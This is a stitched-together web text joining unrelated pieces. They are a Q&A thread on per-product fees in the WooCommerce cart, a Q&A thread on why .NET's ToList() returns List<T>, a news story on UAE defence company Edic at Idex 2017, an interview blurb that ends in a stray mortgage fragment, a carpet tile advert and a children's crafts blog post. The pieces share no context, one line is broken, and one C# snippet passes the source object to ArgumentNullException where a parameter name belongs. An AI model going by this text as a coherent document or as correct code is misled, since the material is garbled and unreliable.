Q: How to add additional fees to different products in WooCommerce cart I use this code to add additional fee to a specific product id's. The problem is that I can add only one fee to a different products id's.
add_action('woocommerce_cart_calculate_fees', 'add_fees_on_ids');
function add_fees_on_ids() {
   if (is_admin() && !defined

('DOING_AJAX')) {return;}
   foreach( WC()->cart->get_cart() as $item_keys => $item ) {
     if( in_array( $item['product_id'],

fee_ids() )) {
     WC()->cart->add_fee(__('ADDITIONAL FEE:'), 5);
     }
   }
}
function fee_ids() {
   return array( 2179 );
}

I need to add different fees to different products - for example:

*

*Product 1 with product ID 1234 will have "xx" additional fee.

*Product 2 with product ID 5678 will have "xx" additional fee.

With this code I can set only one fee for a different products. How can I add different fees to different products in WooCommerce?

A: There are several ways. For example, you could indeed add a custom field to the admin product settings.
But it doesn't have to be complicated, installing an extra plugin for this is way too far-fetched!
Adding the same code several times is also a bad idea, because that way you will go through the cart several times. Which would not only slows down your website but will also eventually cause errors.
Adding an array where you would not only determine the product ID but also immediately determine an additional fee based on the array key seems to me to be the most simple and effective way.
So you get:
function action_woocommerce_cart_calculate_fees( $cart ) {
    if ( is_admin() && ! defined( 'DOING_AJAX' ) )
        return;

    // Add in the following way: Additional fee => Product ID
    $settings = array(
        10  => 1234,
        20  => 5678,
        5   => 30,
        2   => 815,
    );

    // Initialize
    $additional_fee = 0;

    // Loop through cart contents
    foreach ( $cart->get_cart_contents() as $cart_item ) {
        // Get product id
        $product_id = $cart_item['product_id'];

        // In array, get the key as well
        if ( false !== $key = array_search( $product_id, $settings ) ) {
            $additional_fee += $key;
        }
    }

    // If greater than 0, so a matching product ID was found in the cart
    if ( $additional_fee > 0 ) {
        // Add additional fee (total)
        $cart->add_fee( __( 'Additional fee', 'woocommerce' ), $additional_fee, false );
    }
}
add_action( 'woocommerce_cart_calculate_fees', 'action_woocommerce_cart_calculate_fees', 10, 1 );

Optional:
To display the addition per fee separately, so that the customer knows which fee refers to which product, you can use a multidimensional array.
Add the necessary information to the settings array, everything else happens automatically.
So you get:
function action_woocommerce_cart_calculate_fees( $cart ) {
    if ( is_admin() && ! defined( 'DOING_AJAX' ) )
        return;

    // Settings
    $settings = array(
        array(
            'product_id' => 30,
            'amount'     => 5,
            'name'       => __( 'Additional service fee', 'woocommerce' ),
        ),
        array(
            'product_id' => 813,
            'amount'     => 10,
            'name'       => __( 'Packing fee', 'woocommerce' ),
        ),
        array(
            'product_id' => 815,
            'amount'     => 15,
            'name'       => __( 'Another fee', 'woocommerce' ),
        ),
    );

    // Loop through cart contents
    foreach ( $cart->get_cart_contents() as $cart_item ) {
        // Get product id
        $product_id = $cart_item['product_id'];

        // Loop trough settings array
        foreach ( $settings as $setting ) {
            // Search for the product ID
            if ( $setting['product_id'] == $product_id ) {
                // Add fee
                $cart->add_fee( $setting['name'], $setting['amount'], false );
            }
        }
    }
}
add_action( 'woocommerce_cart_calculate_fees', 'action_woocommerce_cart_calculate_fees', 10, 1 );

Related: How to sum the additional fees of added product ID's in WooCommerce cart

A: I. You could use the WordPress plugin "Advanced Custom Fields for that:

*

*install the plugin

*set a field group with a title such as "Product with fee" and set its location rules to "Post Type" => "is equal to" => "Product"

*"+ Add Field" of "Field Type" "Text" and notice its "Name" (not "Label") for later checks, for example "fee"

*Set fee value at the appropriate WooCommerce product posts at that very fee meta field

*Within your 'woocommerce_cart_calculate_fees' hook callback loop over cart products and check for products with set values for the meta field named "fee" and add your fee adding code within that condition:

if (get_field( "fee" )) {        // get_field() returns false if empty aka not set from admin area
  // fee adding code for single product in cart
};

II. Or you could achieve that by adding and displaying a WooCommerce custom product meta field as described in depth here:
https://www.cloudways.com/blog/add-custom-product-fields-woocommerce/

A: Hello and thank you all!
I found a solution to the problem. I just copy the code described below as many times as I have different amounts for different products and change it:
add_action('woocommerce_cart_calculate_fees', 'add_fees_on_ids');
function add_fees_on_ids() {
   if (is_admin() && !defined

('DOING_AJAX')) {return;}
   foreach( WC()->cart->get_cart() as $item_keys => $item ) {
     if( in_array( $item['product_id'],

fee_ids() )) {
     WC()->cart->add_fee(__('ADDITIONAL FEE:'), 5);
     }
   }
}
function fee_ids() {
   return array( 2179 );
}

I change add_fees_on_ids to add_fees_on_ids_1 and fee_ids to fee_ids_1
and ADDITIONAL FEE: to ADDITIONAL FEE 1:
I know that for some it may not look professional but it is a solution to my problem.


text:
Q: Why does IEnumerable.ToList() return List instead of IList? The extension method ToList() returns a List<TSource>. Following the same pattern, ToDictionary() returns a Dictionary<TKey, TSource>.
I am curious why those methods do not type their return values as IList<TSource> and IDictionary<TKey, TSource> respectively. This seems even odder because ToLookup<TSource, TKey> types its return value as an interface instead of an actual implementation.
Looking at the source of those extension methods using dotPeek or other decompiler, we see the following implementation (showing ToList() because it is shorter):
public static List<TSource> ToList<TSource>(this IEnumerable<TSource> source) {
   if (source == null) throw Error.ArgumentNull("source");
   return new List<TSource>(source);
}

So why does this method type its return value as a specific implementation of the interface and not the interface itself? The only change would be the return type.
I am curious because the IEnumerable<> extensions are very consistent in their signatures, except for those two cases. I always thought it to be a bit strange.
Additionally, to make things even more confusing, the documentation for ToLookup() states:

Creates a Lookup from an IEnumerable according to a
  specified key selector function.

but the return type is ILookup<TKey, TElement>.
In Edulinq, Jon Skeet mentions that the return type is List<T> instead of IList<T>, but does not touch the subject further.
Extensive searching has yielded no answer, so here I ask you:
Is there any design decision behind not typing the return values as interfaces, or is it just happenstance?

A: There are a number of advantages to just having a List over an IList.  To begin with, List has methods that IList does not.  You also know what the implementation is which allows you to reason about how it will behave.  You know it can efficiently add to the end, but not the start, you know that it's indexer is very fast, etc.
You don't need to worry about your structure being changed to a LinkedList and wrecking the performance of your application.  When it comes to data structures like this it really is important in quite a lot of contexts to know how your data structure is implemented, not just the contract that it follows.  It's behavior that shouldn't ever change.
You also can't pass an IList to a method accepting a List, which is something that you see quite a lot of.  ToList is frequently used because the person really needs an instance of List, to match a signature they can't control, and IList doesn't help with that.
Then we ask ourselves what advantages there are to returning IList.  Well, we could possibly return some other implementation of a list, but as mentioned before this is likely to have very detrimental consequences, almost certainly much more than could possibly be gained from using any other type.  It might give you warm fuzzies to be using an interface instead of an implementation, but even that is something I don't feel is a good mentality (in general or) in this context.  As a rule returning an interface is generally not preferable to returning a concrete implementation.  "Be liberal in what you accept and specific in what you provide."  The parameters to your methods should, where possible, be interfaces defining the least amount of functionality you need to that your caller can pass in any implementation that does what you need of it, and you should provide as concrete of an implementation as the caller is "allowed" to see so that they can do as much with the result as that object is capable of.  Passing an interface is restricting that value, which is only occasionally something that you want to do.
So now we move onto, "Why return ILookup and not Lookup?"  Well, first off Lookup isn't a public class.  There is no Lookup in System.Collections.*.  The Lookup class that is exposed through LINQ exposes no constructors publicly.  You're not able to use the class except through ToLookup.  It also exposes no functionality that isn't already exposed through ILookup.  In this particular case they designed the interface specifically around this exact method (ToLookup) and the Lookup class is a class specifically designed to implement that interface.  Because of all of this virtually all of the points discussed about List just don't apply here.  Would it have been a problem to return Lookup instead, no, not really.  In this case it really just doesn't matter much at all either way.

A: In my opinion returning a List<T> is justified by the fact that the method name says ToList. Otherwise it would have to be named ToIList. It is the very purpose of this method to convert an unspecific IEnumerable<T> to the specific type List<T>.
If you had a method with an unspecific name like GetResults, then a return type like IList<T> or IEnumerable<T> would seem appropriate to me.

If you look at the implementation of the Lookup<TKey, TElement> class with reflector, you'll see a lot of internal members, that are only accessible to LINQ itself. There is no public constructor and Lookup objects are immutable. Therefore there would be no advantage in exposing Lookup directly.
Lookup<TKey, TElement> class seems to be kind of LINQ-internal and is not meant for public use.

A: Returning List<T> has the advantage that those methods of List<T> that are not part of IList<T> are easily used. There are a lot of things you can do with a List<T> that you cannot do with a IList<T>.
In contrast, Lookup<TKey, TElement> has only one available method that ILookup<TKey, TElement> does not have (ApplyResultSelector), and you probably would not end up using that anyway.

A: I believe that the decision to return a List<> instead of an IList<> is that one of the more common use cases for calling ToList is to force immediate evaluation of the entire list.  By returning a List<> this is guaranteed.  With an IList<> the implementation can still be lazy, which would defeat the "primary" purpose of the call.

A: This is one of the common things that programmers have difficulty understanding around the use of interfaces and concrete types.
Returning a concrete List<T> that implements IList<T> only gives the method consumer more information. Here is what the List object implements (via MSDN):
[SerializableAttribute]
public class List<T> : IList<T>, ICollection<T>, IList, ICollection,
    IReadOnlyList<T>, IReadOnlyCollection<T>, IEnumerable<T>, IEnumerable

Returning as a List<T> gives us the ability to call members on all of these interfaces in addition to List<T> itself. For example we could only use List.BinarySearch(T) on a List<T>, as it exists in List<T> but not in IList<T>.
In general to maximize flexibility of our methods, we should take the most abstract types as parameters (ie. only the things we're going to use) and return the least abstract type possible (to allow a more functional return object).

A: In general when you call ToList() on a method you're looking for a concrete type otherwise the item could stay as type IEnumerable. You don't need to convert to a List unless you're doing something that requires a concrete list.

A: The short answer is that in general returning the most specific type available is recommended by the authoritative Framework Design Guidelines. (sorry I don't have a citation on hand, but I remember this clearly since it stuck out in contrast to the Java community guidelines which prefer the opposite).
This makes sense to me. You can always do e.g. IList<int> list = x.ToList(), only the library author needs to be concerned with being able to support the concrete return type.
ToLookup<T> is the unique one in the crowd. But perfectly within the guidelines: it is the most specific type available that the library authors are willing to support (as others have pointed out, the concrete Lookup<T> type appears to be more of an internal type not meant for public use).

A: Because List<T> actually implements a range of interfaces, not just IList:
public class List<T> : IList<T>, ICollection<T>, IList, ICollection, IReadOnlyList<T>, IReadOnlyCollection<T>, IEnumerable<T>, IEnumerable{

}

Each of those interfaces define a range of features which the List must conform. Picking one particular one, would render bulk of the implementation unusable.
If you do want to return IList, nothing stops you from having your own simple wrapper:
public static IList<TSource> ToIList<TSource>(this IEnumerable<TSource> source)
{
    if (source == null) throw new ArgumentNullException(source);
    return source.ToList();
}

A: These kind of decisions may feel arbitrary but I guess that ToList() returns List<T> rather than an interface because List<T> both implements IList<T> but it adds other members not present in a regular IList<T>-typed object.
For example, AddRange().
See what IList<T> should implement (http://msdn.microsoft.com/en-us/library/5y536ey6.aspx):
public interface IList<T> : ICollection<T>,
    IEnumerable<T>, IEnumerable

And List<T> (http://msdn.microsoft.com/en-us/library/6sh2ey19.aspx):
public class List<T> : IList<T>, ICollection<T>,
    IList, ICollection, IReadOnlyList<T>, IReadOnlyCollection<T>, IEnumerable<T>,
    IEnumerable

Maybe your own code doesn't require IReadOnlyList<T>, IReadOnlyCollection<T> or ICollection, but other components on .NET Framework and other products may rely on a more specialized list object and that's why .NET dev team decided to do not return an interface.
Don't feel always return an interface is the best practice. It's if your code or third-party ones require such encapsulation.

A: If a function returns a newly-constructed immutable object, the caller should generally not care about the precise type returned provided it is capable of holding the actual data that it contains.  For example, a function that is supposed to return an IImmutableMatrix might normally return an ImmutableArrayMatrix backed by a privately-held array, but if all the cells hold zeroes it might instead return an ZeroMatrix, backed only by Width and Height fields (with a getter that simply returns zero all the time).  The caller wouldn't care whether it was given an ImmutableArrayMatrix matrix or a ZeroMatrix; both types would would allow all of their cells to be read, and guarantee their values would never change, and that's what the caller would care about.
On the other hand, functions that return newly-constructed objects that allow open-ended mutation should generally return the precise type the caller is going to expect.  Unless there will be a means by which the caller can request different return types (e.g. by calling ToyotaFactory.Build("Corolla") versus ToyotaFactory.Build("Prius")) there's no reason for the declared return type to be anything else.  While factories that return immutable data-holding objects can select a type based on the data to be contained, factories that return freely-mutable types will have no way of knowing what data may be put into them.  If different callers will have different needs (e.g. returning to the extant example, some callers' needs would be met with an array, while others' would not) they should be given a choice of factory methods.
BTW, something like IEnumerator<T>.GetEnumerator() is a bit of a special case.  The returned object will almost always be mutable, but only in a very highly-constrained fashion; indeed, it is expected that the returned object regardless of its type will have exactly one piece of mutable state: its position in the enumeration sequence.  Although an IEnumerator<T> is expected to be mutable, the portions of its state which would vary in derived-class implementations are not.


text:
Dania Saadi
Idex 2017: NIMR on track to expanding range
The UAE is bolstering its local defence industry through an offsets programme and by awarding them an increasing number of contracts to help diversify the economy away from its dependence on oil.
Above, the Rapid Intervention Vehicle which was launched by NIMR Automotive, a subsidiary of Emirates Defence Industries Company, at Idex in Abu Dhabi. Courtesy NIMR
Abu Dhabi-owned Emirates Defence Industries Company (Edic) expects its expanding range of NIMR Automotive armoured vehicles to garner interest from regional countries, a company official said on Sunday.
"Today there is a lot of interest in NIMR [from countries in the region]," Fahad Al Mheiri, director of business development at Edic, said at an interview at the International Defence Exhibition and Conference (Idex) in Abu Dhabi. "Interest is there depending on operations."
Edic is a joint venture between Mubadala Development and Tawazun Holding that will be made up of 15 companies, including NIMR Automotive, by the end of the year once full integration is complete.
Edic on Sunday unveiled a rapid intervention vehicle (RIV) at Idex, where it has the biggest wing. The NIMR RIV is equipped with under-body blast protection and modular armour to protect its crew of four.
"It addresses a critical mission need for a high-speed, easily transportable vehicle that can quickly respond to tactical situations in remote sites," said Fahad Saif Harhara, NIMR Automotive's chief executive.
The RIV is designed "for elite units to successfully carry out covert operations without alerting enemy or insurgent forces", the company said.
Mubadala, Tawazun Holding and Emirates Advanced Investment Group agreed in 2014 to combine their defence services businesses into Edic to develop the local defence industry.
Edic provides manufacturing, training, mapping, logistics, technology development and communications as well as maintenance, repair and operations services for air, land and sea platforms. On Sunday, NIMR won a Dh2.42 billion deal to supply 400 8x8 armoured vehicles to the UAE Armed Forces.
Edic also sells ammunition to regional countries, including Saudi Arabia, Kuwait and Bahrain, through its Caracal International unit; and it makes metallic parts for Boeing and Airbus and a titanium military aircraft part for France's Dassault Aviation.
Currently, Al Ain-based Strata, the manufacturing business of Mubadala Aerospace, makes composite parts for Boeing and Airbus.
But Edic's focus is to meet the needs of the UAE armed forces, which will remain its biggest customer.
"Our aim is to ensure that we are providing the services required for the Armed Forces," said Mr Al Mheiri. "We are looking at not just producing products, but ensuring we are able to service and have capability to take care of the assets and equipment."
The company, which will employ 10,000 by the time the three companies are fully integrated by the end of the year, is not looking at forming joint ventures because it wants to develop local capabilities.
"Since we are covering now all land, sea and air platforms, we want to make sure that we build the capability locally," said Mr Al Mheiri. "A joint venture has its limitation when you are talking about IP [intellectual property] when you are taking about sharing knowledge, transferring knowledge across different companies and assets."
■ US military defence technology firm Harris lands UAE Armed Forces contract
■ Idex 2017 opens in Abu Dhabi – in pictures
■ Dh4.41bn worth of arms deals struck on day one of defence show
■ UK's Hesco hopes to employ UAE war veterans at its Al Ain factory
■ Mena defence spending to rise this year as conflicts create demand for arms
■ UAE will count on technologies to keep terror threats at bay
dalsaadi@thenational.ae
Follow The National's Business section on Twitter


On 21 JUL 15 LTC Sargis Sangari spoke with Ken Mcclenton on the realities of the global economy and its affects on domestic and foreign policy. The topics covered were the Iran Nuclear Deal, Sunni reactions in the region, KRG inability to administer their region, Israel and Assyrian religious and historic relationship, ISIS operations in the United States and Europe over the next ten years, and Assyrian military ability if and when they are funded.
of the expenses of their mortgage.


Black& is a textured loop pile carpet tile with a linear pattern. The combination of the structured black lines and the challenging, radiant colours give Black& a luxurious look and at the same time a comfortable feel as well. Black& can be used in offices, hotels, airports, etc. and is available in 17 colours.


I remember when I was younger, being an only child I got bored A LOT. My Mum was always running around trying to keep me occupied. These activities are a simple and fun solution. I do recommend that you plan these activities in advance so you've got a chance to grab the supplies.
The wind chimes and bird-feeder I have done myself with the two girls I baby sit for. Both are great little activities and the girls really enjoyed them.
I did this with the youngest child, 4 years old.
We painted the paper cups and left them to dry for a while.
To make sure they stayed on the pieces of string I used a skewer and put a hole in the side of one of the pieces of straw, then threaded the string into and around the straw to hold everything in place.
To attach the strings to the cup we skewered holes in the cups, threaded the string through the holes and then tied big knots on the end of the string.
I did this activity with both the girls (4 and 9 years old). They both really enjoyed it and the end result was brilliant.
The first step is dissolving the gelatine in a pot over the stove and a warning (even though it is obvious) this step REQUIRES MATURE / ADULT SUPERVISION.
Be careful of children trying to climb all over you, burning yourself, or setting the little ones heads on fire when dissolving the gelatine.
Once the gelatine was dissolved, we left it to cool on the stove and got everything else ready.
Once the gelatine was cooled down, we took it somewhere where we had more room and poured the bird seed into the pot with the gelatine (if you want a break, let the kids stir the bird seed mix!).
Make sure all the liquid gets dissolved into the bird feed (you will probably have to add more to soak it up).
The next step was the fun (and messy) part. We spooned the mix into the cookie cutters (then realised that we were only supposed to fill them up half way and took most of it out again) you will want to either have very tidy kids or something underneath them so you don't get the mix everywhere.
We put in the string, then left them to dry for a few days.
They ended up turning out really well. We just had to be careful taking them from the moulds because a lot of the bird seed was falling away.
We now have them hanging up all over the garden.